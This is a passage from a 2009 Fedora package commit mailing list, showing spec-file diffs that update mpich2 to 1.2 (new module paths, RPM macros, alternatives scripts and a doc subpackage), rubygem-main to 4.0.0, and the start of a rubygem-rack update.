-Version:        0.5.2
+Version:        0.5.3
 Release:        1%{?dist}
 Summary:        MSN connection manager for Telepathy
 
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.3-1
+- Update to 0.5.3.
+
 * Tue Oct 20 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.2-1
 - Update to 0.5.2.
 



From deji at fedoraproject.org  Sun Oct 25 21:39:43 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Sun, 25 Oct 2009 21:39:43 +0000 (UTC)
Subject: rpms/mpich2/devel mpich2-modules.patch, NONE, 1.1 mpich2.macros,
	NONE, 
	1.1 .cvsignore, 1.7, 1.8 mpich2.spec, 1.11, 1.12 sources, 1.7, 1.8
Message-ID: <20091025213943.0F8C511C00E5@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/mpich2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13920

Modified Files:
	.cvsignore mpich2.spec sources 
Added Files:
	mpich2-modules.patch mpich2.macros 
Log Message:
* Sat Oct 10 2009 Deji Akingunola <dakingun at gmail.com> - 1.2-1
- Adapt to the Fedora MPI packaging guildelines
- Split out a -doc subpackage
- New upstream version, v1.2


mpich2-modules.patch:
 mpich2.module.in |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE mpich2-modules.patch ---
--- src/packaging/envmods/mpich2.module.in	2009-07-02 15:54:58.000000000 -0400
+++ src/packaging/envmods/mpich2.module.in.new	2009-10-13 20:22:41.814975264 -0400
@@ -6,6 +6,16 @@
 # Define prefix so PATH and MANPATH can be updated.
 setenv        prefix        @prefix@
 setenv        exec_prefix   @exec_prefix@
+setenv        MPI_BIN       @LIBDIR@/@MPILIBNAME@/bin
+setenv        MPI_SYSCONFIG @sysconfdir@
+setenv        MPI_FORTRAN_MOD_DIR @includedir@
+setenv        MPI_INCLUDE   @includedir@
+setenv        MPI_LIB       @libdir@
+setenv        MPI_MAN       @mandir@
+setenv        MPI_PYTHON_SITEARCH	@bindir@
+setenv        MPI_COMPILER  @MPILIBNAME at -@ARCH@
+setenv        MPI_SUFFIX    @MPILIBNAME@
+setenv        MPI_HOME      @LIBDIR@/@MPILIBNAME@
 prepend-path  PATH          @bindir@
 prepend-path  MANPATH       @mandir@
 


--- NEW FILE mpich2.macros ---
%_mpich2_load \
 . /etc/profile.d/modules.sh; \
 module load mpich2-%{_arch}; \
 export CFLAGS="$CFLAGS %{optflags}";
%_mpich2_unload \
 . /etc/profile.d/modules.sh; \
 module unload mpich2-%{_arch};


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mpich2/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	11 Aug 2009 21:31:26 -0000	1.7
+++ .cvsignore	25 Oct 2009 21:39:42 -0000	1.8
@@ -1 +1 @@
-mpich2-1.1.1p1.tar.gz
+mpich2-1.2.tar.gz


Index: mpich2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mpich2/devel/mpich2.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- mpich2.spec	11 Aug 2009 21:31:26 -0000	1.11
+++ mpich2.spec	25 Oct 2009 21:39:42 -0000	1.12
@@ -1,11 +1,13 @@
 Summary:	A high-performance implementation of MPI
 Name:		mpich2
-Version:	1.1.1p1
+Version:	1.2
 Release:	1%{?dist}
 License:	MIT
 Group:		Development/Libraries
 URL:		http://www.mcs.anl.gov/research/projects/mpich2
-Source:		http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/%{version}/%{name}-%{version}.tar.gz
+Source0:	http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/%{version}/%{name}-%{version}.tar.gz
+Source1:	mpich2.macros	
+Patch0:		mpich2-modules.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libXt-devel, libuuid-devel
 BuildRequires:	java-devel-openjdk, gcc-gfortran
@@ -37,7 +39,7 @@ Summary:	Development files for mpich2
 Group:		Development/Libraries
 Requires:	%{name} = %{version}-%{release}
 Requires:	pkgconfig
-Requires:	gcc-gfortran
+Requires:	gcc-gfortran 
 Requires(post):	/usr/sbin/alternatives
 Requires(preun):/usr/sbin/alternatives
 Requires(posttrans):/usr/sbin/alternatives
@@ -45,14 +47,25 @@ Requires(posttrans):/usr/sbin/alternativ
 %description devel
 Contains development headers and libraries for mpich2
 
+%package doc
+Summary:	Documentations and examples for mpich2
+Group:          Documentation
+BuildArch:      noarch
+
+%description doc
+Contains documentations, examples and manpages for mpich2
+
 # We only compile with gcc, but other people may want other compilers.
 # Set the compiler here.
 %{!?opt_cc: %global opt_cc gcc}
 %{!?opt_fc: %global opt_fc gfortran}
+%{!?opt_f77: %global opt_f77 gfortran}
 # Optional CFLAGS to use with the specific compiler...gcc doesn't need any,
 # so uncomment and undefine to NOT use
 %{!?opt_cc_cflags: %global opt_cc_cflags %{optflags}}
 %{!?opt_fc_fflags: %global opt_fc_fflags %{optflags}}
+#%{!?opt_fc_fflags: %global opt_fc_fflags %{optflags} -I%{_fmoddir}}
+%{!?opt_f77_fflags: %global opt_f77_fflags %{optflags}}
 
 %ifarch %{ix86} x86_64
 %global selected_channels ch3:nemesis
@@ -61,10 +74,8 @@ Contains development headers and librari
 %endif
 
 %ifarch x86_64 ia64 ppc64 s390x sparc64
-%global mode 64
 %global priority 41
 %else
-%global mode 32
 %global priority 40
 %endif
 
@@ -74,26 +85,39 @@ Contains development headers and librari
 
 %prep
 %setup -q
+%patch0 -p0 -b .modu
 
+%build
 %configure	\
 	--enable-sharedlibs=gcc					\
+	--enable-f90						\
 	--with-device=%{selected_channels}			\
-	--sysconfdir=%{_sysconfdir}/%{name}-%{mode}		\
-	--includedir=%{_includedir}/%{name}			\
-	--libdir=%{_libdir}/%{name}				\
+	--sysconfdir=%{_sysconfdir}/%{name}-%{_arch}		\
+	--includedir=%{_includedir}/%{name}-%{_arch}		\
+	--libdir=%{_libdir}/%{name}/lib				\
 	--datadir=%{_datadir}/%{name}				\
-	--docdir=%{_docdir}/%{name}-%{version}			\
-	--htmldir=%{_docdir}/%{name}-%{version}/www		\
+	--mandir=%{_mandir}/%{name}				\
+	--docdir=%{_datadir}/%{name}/doc			\
+	--htmldir=%{_datadir}/%{name}/doc			\
 	--with-java=%{_sysconfdir}/alternatives/java_sdk	\
 	F90=%{opt_fc}						\
-	F77=%{opt_fc}						\
-	CFLAGS="%{?opt_cc_cflags} %{?XFLAGS}"			\
-	CXXFLAGS="%{optflags} %{?XFLAGS}"			\
-	F90FLAGS="%{?opt_fc_fflags} %{?XFLAGS}"			\
-	FFLAGS="%{?opt_fc_fflags} %{?XFLAGS}"			\
-	LDFLAGS='-Wl,-z,noexecstack'
+	F77=%{opt_f77}						\
+	CFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"			\
+	CXXFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"		\
+	F90FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"		\
+	FFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"			\
+	LDFLAGS='-Wl,-z,noexecstack'				\
+	MPICH2LIB_CFLAGS="%{?opt_cc_cflags}"			\
+	MPICH2LIB_CXXFLAGS="%{optflags}"			\
+	MPICH2LIB_F90FLAGS="%{?opt_fc_fflags}"			\
+	MPICH2LIB_FFLAGS="%{?opt_f77_fflags}"	
+#	MPICH2LIB_LDFLAGS='-Wl,-z,noexecstack'			\
+#	MPICH2_MPICC_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPICXX_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPIF90_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPIF77_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"
 
-%build
+#	F90FLAGS="%{?opt_fc_fflags} -I%{_fmoddir}/%{name} %{?XFLAGS}"	\
 #make %{?_smp_mflags} doesn't work
 make
 
@@ -101,66 +125,59 @@ make
 rm -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
-## Resolve clashes with LAM/OPENMP: mpicxx mpicc mpif77 mpif90 mpiexec mpirun
+mkdir -p %{buildroot}%{_libdir}/%{name}/bin %{buildroot}%{_mandir}/man1
 rm -f %{buildroot}%{_bindir}/{mpiexec,mpirun,mpdrun}
-mv %{buildroot}%{_mandir}/man1/{,mp-}mpiexec.1
+
+for execfile in mpiexec mpirun; do 
+  ln -s ../../../bin/mpiexec.py %{buildroot}%{_libdir}/%{name}/bin/$execfile
+done
+BASIC_PGMS="slog2print slog2navigator slog2filter slog2updater logconvertor jumpshot"
+CLOG_PGMS="clogprint clogTOslog2 clog2print clog2TOslog2"
+RLOG_PGMS="rlogprint rlogTOslog2"
+for exefile in $BASIC_PGMS $CLOG_PGMS $RLOG_PGMS mpich2version ; do
+  mv %{buildroot}%{_bindir}/$exefile %{buildroot}%{_libdir}/%{name}/bin/$exefile
+done
+
 pushd  %{buildroot}%{_bindir}/
 ln -s mpiexec.py mpdrun
-touch mpiexec
-touch mpirun
-rm -f mpic++
-touch mpic++
+touch mpiexec mpirun mpich2version
+touch %{buildroot}%{_mandir}/man1/mpiexec.1
 popd
-for b in mpicxx mpicc mpif77 mpif90; do 
-  mv %{buildroot}%{_bindir}/$b %{buildroot}%{_bindir}/mp%{mode}-$b;
+for b in mpicxx mpicc mpif77 mpif90 mpic++; do 
+  mv %{buildroot}%{_bindir}/$b %{buildroot}%{_libdir}/%{name}/bin/;
   touch %{buildroot}%{_bindir}/$b;
-  mv %{buildroot}%{_mandir}/man1/$b.1 %{buildroot}%{_mandir}/man1/mp-$b.1;
   touch %{buildroot}%{_mandir}/man1/$b.1;
 done
 
-## Setup the executables for 'environment module'
-mkdir -p %{buildroot}%{_datadir}/%{name}/bin%{mode}
-for b in mpicxx mpicc mpif77 mpif90; do 
-  ln -s ../../../bin/mp%{mode}-$b %{buildroot}%{_datadir}/%{name}/bin%{mode}/$b
-done
-ln -s ../../../bin/mp%{mode}-mpicxx %{buildroot}%{_datadir}/%{name}/bin%{mode}/mpic++
-
-for bn in mpiexec mpirun; do 
-  ln -s ../../../bin/mpiexec.py %{buildroot}%{_datadir}/%{name}/bin%{mode}/$bn
-done
-
-mv %{buildroot}%{_libdir}/%{name}/pkgconfig %{buildroot}%{_libdir}/
+mv %{buildroot}%{_libdir}/%{name}/lib/pkgconfig %{buildroot}%{_libdir}/
 chmod -x %{buildroot}%{_libdir}/pkgconfig/*.pc
 
-#Install the libdir under /etc/ld.so.conf.d
-mkdir -p %{buildroot}%{_sysconfdir}/ld.so.conf.d
-echo "%{_libdir}/%{name}"	\
-	> %{buildroot}%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
+#mkdir -p %{buildroot}/%{_fmoddir}/%{name}
+#mv  %{buildroot}%{_includedir}/%{name}/*.mod %{buildroot}/%{_fmoddir}/%{name}/
 
-# Adjust the default 'environment module' PATH for our changes
+# Install the module file
 mkdir -p %{buildroot}%{_datadir}/Modules/modulefiles
-cp -pr src/packaging/envmods/mpich2.module %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{mode}
-sed -i 's#'%{_bindir}'#'%{_datadir}/%{name}/bin%{mode}'#' %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{mode}
+cp -pr src/packaging/envmods/mpich2.module %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
+sed -i 's#'%{_bindir}'#'%{_libdir}/%{name}/bin'#;s#@LIBDIR@#'%{_libdir}'#;s#@ARCH@#'%{_arch}'#' %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
+
+# Install the RPM macro
+mkdir -p %{buildroot}%{_sysconfdir}/rpm
+cp -pr %{SOURCE1} %{buildroot}%{_sysconfdir}/rpm/macros.%{name}
 
-# Manually copy doc file here instead of the %files section to prevent the rpm
-#build script from throwing the other things in there out
-cp -pr CHANGES COPYRIGHT README RELEASE_NOTES %{buildroot}%{_docdir}/%{name}-%{version}/
-cp -pr src/mpe2/README %{buildroot}%{_docdir}/%{name}-%{version}/README.mpe
+cp -pr src/mpe2/README src/mpe2/README.mpe2
 
 # Silence rpmlint
-sed -i '/^#! \//,1 d' %{buildroot}%{_sysconfdir}/%{name}-%{mode}/{mpi*.conf,mpe_help.*}
+sed -i '/^#! \//,1 d' %{buildroot}%{_sysconfdir}/%{name}-%{_arch}/{mpi*.conf,mpe_help.*}
 
-#Rename the MPI routine manpages, to avoid conflict with openmpi
-for man in %{buildroot}%{_mandir}/man3/*; do
-  manf=`basename $man .3`
-  mv %{buildroot}%{_mandir}/man3/$manf.3 %{buildroot}%{_mandir}/man4/$manf.4
-  sed s/3/4/1 -i %{buildroot}%{_mandir}/man4/$manf.4
+# Work-around the multilib conflicts created by the makefiles
+for dirs in collchk graphics logging; do 
+  mv %{buildroot}%{_datadir}/%{name}/examples_$dirs/Makefile{,-%{_arch}}
 done
 
-# The uninstall script that is installed in this directory is not needed in rpm
-# packaging 
+# The uninstall script here is not needed/necesary for rpm packaging 
 rm -rf %{buildroot}%{_sbindir}/mpe*
 
+rm -rf %{buildroot}%{_bindir}/*.in
 find %{buildroot} -type f -name "*.la" -exec rm -f {} ';'
 
 %clean
@@ -172,35 +189,39 @@ rm -rf %{buildroot}
 
 if [ $1 -eq 1 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py 41	\
+	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py %{priority}	\
 	--slave	%{_bindir}/mpiexec mpi-exec %{_bindir}/mpiexec.py	\
+	--slave	%{_bindir}/mpich2version mpi-ver			\
+			%{_libdir}/%{name}/bin/mpich2version		\
 	--slave	%{_mandir}/man1/mpiexec.1.gz mpi-exec-man		\
-			%{_mandir}/man1/mp-mpiexec.1.gz		\
-	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man		\
-			%{_mandir}/man1/mp-mpif90.1.gz		\
-	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man		\
-			%{_mandir}/man1/mp-mpif77.1.gz		\
-	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man		\
-			%{_mandir}/man1/mp-mpicc.1.gz		\
-	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man		\
-			%{_mandir}/man1/mp-mpicxx.1.gz
+			%{_mandir}/%{name}/man1/mpiexec.1.gz		\
+	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man			\
+			%{_mandir}/%{name}/man1/mpif90.1.gz		\
+	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man			\
+			%{_mandir}/%{name}/man1/mpif77.1.gz		\
+	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man			\
+			%{_mandir}/%{name}/man1/mpicc.1.gz		\
+	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man			\
+			%{_mandir}/%{name}/man1/mpicxx.1.gz
 fi
 
 %posttrans
 if [ $1 -eq 0 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py 41	\
+	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py %{priority}	\
 	--slave	%{_bindir}/mpiexec mpi-exec %{_bindir}/mpiexec.py	\
+	--slave	%{_bindir}/mpich2version mpi-ver			\
+			%{_libdir}/%{name}/bin/mpich2version		\
 	--slave	%{_mandir}/man1/mpiexec.1.gz mpi-exec-man		\
-			%{_mandir}/man1/mp-mpiexec.1.gz		\
-	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man		\
-			%{_mandir}/man1/mp-mpif90.1.gz		\
-	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man		\
-			%{_mandir}/man1/mp-mpif77.1.gz		\
-	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man		\
-			%{_mandir}/man1/mp-mpicc.1.gz		\
-	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man		\
-			%{_mandir}/man1/mp-mpicxx.1.gz
+			%{_mandir}/%{name}/man1/mpiexec.1.gz		\
+	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man			\
+			%{_mandir}/%{name}/man1/mpif90.1.gz		\
+	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man			\
+			%{_mandir}/%{name}/man1/mpif77.1.gz		\
+	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man			\
+			%{_mandir}/%{name}/man1/mpicc.1.gz		\
+	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man			\
+			%{_mandir}/%{name}/man1/mpicxx.1.gz
 fi
 
 %preun
@@ -213,81 +234,99 @@ fi
 %post devel
 if [ $1 -eq 1 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpicc mpicc %{_bindir}/mp%{mode}-mpicc %{priority}\
-	--slave	%{_bindir}/mpicxx  mpicxx  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpic++  mpic++  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpif90  mpif90  %{_bindir}/mp%{mode}-mpif90	\
-	--slave	%{_bindir}/mpif77  mpif77  %{_bindir}/mp%{mode}-mpif77
+	--install %{_bindir}/mpicc mpicc %{_libdir}/%{name}/bin/mpicc %{priority}	\
+	--slave	%{_bindir}/mpicxx mpicxx %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpic++ mpic++ %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpif90 mpif90 %{_libdir}/%{name}/bin/mpif90	\
+	--slave	%{_bindir}/mpif77 mpif77 %{_libdir}/%{name}/bin/mpif77
+fi
+# Remove the old alternative
+if [ $1 -gt 1 ] ; then
+/usr/sbin/alternatives --remove mpicc %{_bindir}/mp%{__isa_bits}-mpicc
 fi
 
 %posttrans devel
 if [ $1 -eq 0 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpicc mpicc %{_bindir}/mp%{mode}-mpicc %{priority}\
-	--slave	%{_bindir}/mpicxx  mpicxx  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpic++  mpic++  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpif90  mpif90  %{_bindir}/mp%{mode}-mpif90	\
-	--slave	%{_bindir}/mpif77  mpif77  %{_bindir}/mp%{mode}-mpif77
+	--install %{_bindir}/mpicc mpicc %{_libdir}/%{name}/bin/mpicc %{priority}	\
+	--slave	%{_bindir}/mpicxx mpicxx %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpic++ mpic++ %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpif90 mpif90 %{_libdir}/%{name}/bin/mpif90	\
+	--slave	%{_bindir}/mpif77 mpif77 %{_libdir}/%{name}/bin/mpif77
 fi
 
 %preun devel
-if [ $1 -eq 0 ] ; then
-/usr/sbin/alternatives --remove mpicc %{_bindir}/mp%{mode}-mpicc
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove mpicc %{_libdir}/%{name}/bin/mpicc
 fi
 
 %files
 %defattr(-,root,root,-)
+%doc CHANGES COPYRIGHT README src/mpe2/README.mpe2 RELEASE_NOTES
 %{_bindir}/*
 %dir %{_libdir}/%{name}
-%{_libdir}/%{name}/*.jar
-%{_libdir}/%{name}/mpe*.o
-%{_libdir}/%{name}/*.so.*
-%dir %{_datadir}/%{name}
-%dir %{_datadir}/%{name}/bin%{mode}
-%{_datadir}/%{name}/bin%{mode}/mpiexec
-%{_datadir}/%{name}/bin%{mode}/mpirun
-%exclude %{_bindir}/mpiexec
-%exclude %{_bindir}/mpirun
-%exclude %{_bindir}/*mpic*
-%exclude %{_bindir}/*mpif*
-%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
-%config %{_sysconfdir}/%{name}-%{mode}/
-%doc %{_docdir}/%{name}-%{version}/
-%doc %{_datadir}/%{name}/doc/
-%{_mandir}/man1/mp-*.1.gz
+%dir %{_libdir}/%{name}/lib
+%dir %{_libdir}/%{name}/bin
+%{_libdir}/%{name}/lib/*.jar
+%{_libdir}/%{name}/lib/mpe*.o
+%{_libdir}/%{name}/lib/*.so.*
+%{_libdir}/%{name}/bin/mpiexec
+%{_libdir}/%{name}/bin/mpirun
+%{_libdir}/%{name}/bin/mpich2version
+%config %{_sysconfdir}/%{name}-%{_arch}/
+%config %{_sysconfdir}/rpm/macros.%{name}
+%dir %{_mandir}/%{name}/
+%doc %{_mandir}/%{name}/man1
+%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
 %if 0%{?fedora} < 11
 %exclude %{_bindir}/mp*.pyc
 %exclude %{_bindir}/mp*.pyo
 %endif
+%exclude %{_bindir}/mpif*
+%exclude %{_bindir}/mpic*
 %ghost %{_bindir}/mpiexec
 %ghost %{_bindir}/mpirun
+%ghost %{_bindir}/mpich2version
 %ghost %{_mandir}/man1/mpi*.1.gz
-%ghost %{_mandir}/man1/MPI.1.gz
 
 %files devel
 %defattr(-,root,root,-)
-%{_bindir}/mp%{mode}*
+%{_libdir}/%{name}/bin/mpicc
+%{_libdir}/%{name}/bin/mpicxx
+%{_libdir}/%{name}/bin/mpic++
+%{_libdir}/%{name}/bin/mpif90
+%{_libdir}/%{name}/bin/mpif77
+%{_libdir}/%{name}/bin/*log*
+%{_libdir}/%{name}/bin/jumpshot
 %ghost %{_bindir}/mpicc
 %ghost %{_bindir}/mpicxx
 %ghost %{_bindir}/mpic++
 %ghost %{_bindir}/mpif90
 %ghost %{_bindir}/mpif77
-%{_includedir}/*
-%{_libdir}/%{name}/*.a
-%{_libdir}/%{name}/*.so
-%{_libdir}/%{name}/trace_rlog/libTraceInput.so
+%{_includedir}/%{name}-%{_arch}/
+#%{_fmoddir}/%{name}/
+%{_libdir}/%{name}/lib/*.a
+%{_libdir}/%{name}/lib/*.so
+%{_libdir}/%{name}/lib/trace_rlog/libTraceInput.so
 %{_libdir}/pkgconfig/%{name}-ch3.pc
-%{_datadir}/Modules/modulefiles/%{name}-%{mode}
-%{_datadir}/%{name}/bin%{mode}/mpicc
-%{_datadir}/%{name}/bin%{mode}/mpicxx
-%{_datadir}/%{name}/bin%{mode}/mpic++
-%{_datadir}/%{name}/bin%{mode}/mpif90
-%{_datadir}/%{name}/bin%{mode}/mpif77
+%{_datadir}/%{name}/examples*/Makefile-%{_arch}
+
+%files doc
+%defattr(-,root,root,-)
+%dir %{_datadir}/%{name}
+%{_datadir}/%{name}/doc/
 %{_datadir}/%{name}/examples*
 %{_datadir}/%{name}/logfiles/
-%{_mandir}/man4/*.gz
+%{_mandir}/%{name}/man3/*.gz
+%{_mandir}/%{name}/man4/*.gz
+%exclude %{_datadir}/%{name}/examples*/Makefile-%{_arch}
 
 %changelog
+* Sat Oct 10 2009 Deji Akingunola <dakingun at gmail.com> - 1.2-1
+- Adapt to the Fedora MPI packaging guildelines
+- Split out a -doc subpackage
+- New upstream version, v1.2
+
 * Tue Aug 11 2009 Deji Akingunola <dakingun at gmail.com> - 1.1.1p1-1
 - New upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mpich2/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Aug 2009 21:31:26 -0000	1.7
+++ sources	25 Oct 2009 21:39:42 -0000	1.8
@@ -1 +1 @@
-cb3da718237f2af826fcd85a4ab72047  mpich2-1.1.1p1.tar.gz
+925c8792c8aacbfca1aceae94852d591  mpich2-1.2.tar.gz



From kanarip at fedoraproject.org  Sun Oct 25 21:53:04 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Sun, 25 Oct 2009 21:53:04 +0000 (UTC)
Subject: rpms/rubygem-main/devel .cvsignore, 1.4, 1.5 import.log, 1.5,
	1.6 rubygem-main.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091025215304.5B90C11C00E5@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-main/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19547/devel

Modified Files:
	.cvsignore import.log rubygem-main.spec sources 
Log Message:
4.0.0-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-main/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	6 Jun 2009 12:35:51 -0000	1.4
+++ .cvsignore	25 Oct 2009 21:53:04 -0000	1.5
@@ -1 +1 @@
-main-2.8.4.gem
+main-4.0.0.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-main/devel/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	30 Jun 2009 23:03:45 -0000	1.5
+++ import.log	25 Oct 2009 21:53:04 -0000	1.6
@@ -3,3 +3,4 @@ rubygem-main-2_8_3-1_fc10:HEAD:rubygem-m
 rubygem-main-2_8_4-1_fc11:HEAD:rubygem-main-2.8.4-1.fc11.src.rpm:1244291731
 rubygem-main-2_8_4-2_fc11:HEAD:rubygem-main-2.8.4-2.fc11.src.rpm:1246402951
 rubygem-main-2_8_4-2_fc11:HEAD:rubygem-main-2.8.4-2.fc11.src.rpm:1246403009
+rubygem-main-4_0_0-1_fc12:HEAD:rubygem-main-4.0.0-1.fc12.src.rpm:1256507571


Index: rubygem-main.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-main/devel/rubygem-main.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- rubygem-main.spec	27 Jul 2009 03:32:16 -0000	1.6
+++ rubygem-main.spec	25 Oct 2009 21:53:04 -0000	1.7
@@ -6,8 +6,8 @@
 
 Summary:        A class factory and dsl for generating command line programs real quick
 Name:           rubygem-%{gemname}
-Version:        2.8.4
-Release:        3%{?dist}
+Version:        4.0.0
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        Ruby
 URL:            http://codeforpeople.com/lib/ruby/main/
@@ -21,6 +21,7 @@ Requires:       rubygem(attributes) >= 5
 Requires:       rubygem(arrayfields) >= 4.5.0
 Requires:       rubygem(fattr) >= 1.0.3
 BuildRequires:  rubygems
+BuildRequires:  rubygem(rake)
 BuildArch:      noarch
 Provides:       rubygem(%{gemname}) = %{version}
 
@@ -59,19 +60,36 @@ find %{buildroot}/%{geminstdir} -type f 
 # Find files that are not readable
 find %{buildroot}/%{geminstdir} -type f ! -perm /go+r -exec chmod -v go+r {} \;
 
+# Get that duplicate gemspec out of the way
+rm -rf %{buildroot}/%{geminstdir}/%{gemname}.gemspec
+
+%check
+pushd %{buildroot}/%{geminstdir}
+rake test || :
+popd
+
 %clean
 rm -rf %{buildroot}
 
 %files
 %defattr(-, root, root, -)
-%{gemdir}/gems/%{gemname}-%{version}/
-%doc %{gemdir}/gems/%{gemname}-%{version}/README
-%doc %{gemdir}/gems/%{gemname}-%{version}/TODO
+%doc %{gemdir}/doc/%{gemname}-%{version}
+%dir %{geminstdir}/
+%doc %{geminstdir}/README
+%doc %{geminstdir}/README.erb
+%doc %{geminstdir}/Rakefile
+%doc %{geminstdir}/TODO
+%doc %{geminstdir}/samples
+%doc %{geminstdir}/test
+%{geminstdir}/lib
 %{gemdir}/cache/%{gemname}-%{version}.gem
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 
 %changelog
+* Sun Oct 25 2009 Jeroen van Meeuwen <kanarip at kanarip.com> - 4.0.0-1
+- New upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-main/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	6 Jun 2009 12:35:51 -0000	1.4
+++ sources	25 Oct 2009 21:53:04 -0000	1.5
@@ -1 +1 @@
-94b926e823ead69cdfede41caf42d442  main-2.8.4.gem
+8e35243393bf108d9df61538e14b69c5  main-4.0.0.gem



From kanarip at fedoraproject.org  Sun Oct 25 21:56:28 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Sun, 25 Oct 2009 21:56:28 +0000 (UTC)
Subject: rpms/rubygem-rack/F-12 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 rubygem-rack.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091025215628.66EA711C00E5@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-rack/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22222/F-12

Modified Files:
	.cvsignore import.log rubygem-rack.spec sources 
Log Message:
1.0.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Apr 2009 19:55:59 -0000	1.4
+++ .cvsignore	25 Oct 2009 21:56:27 -0000	1.5
@@ -1 +1 @@
-rack-1.0.0.gem
+rack-1.0.1.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/F-12/import.log,v
retrieving revision 1.3
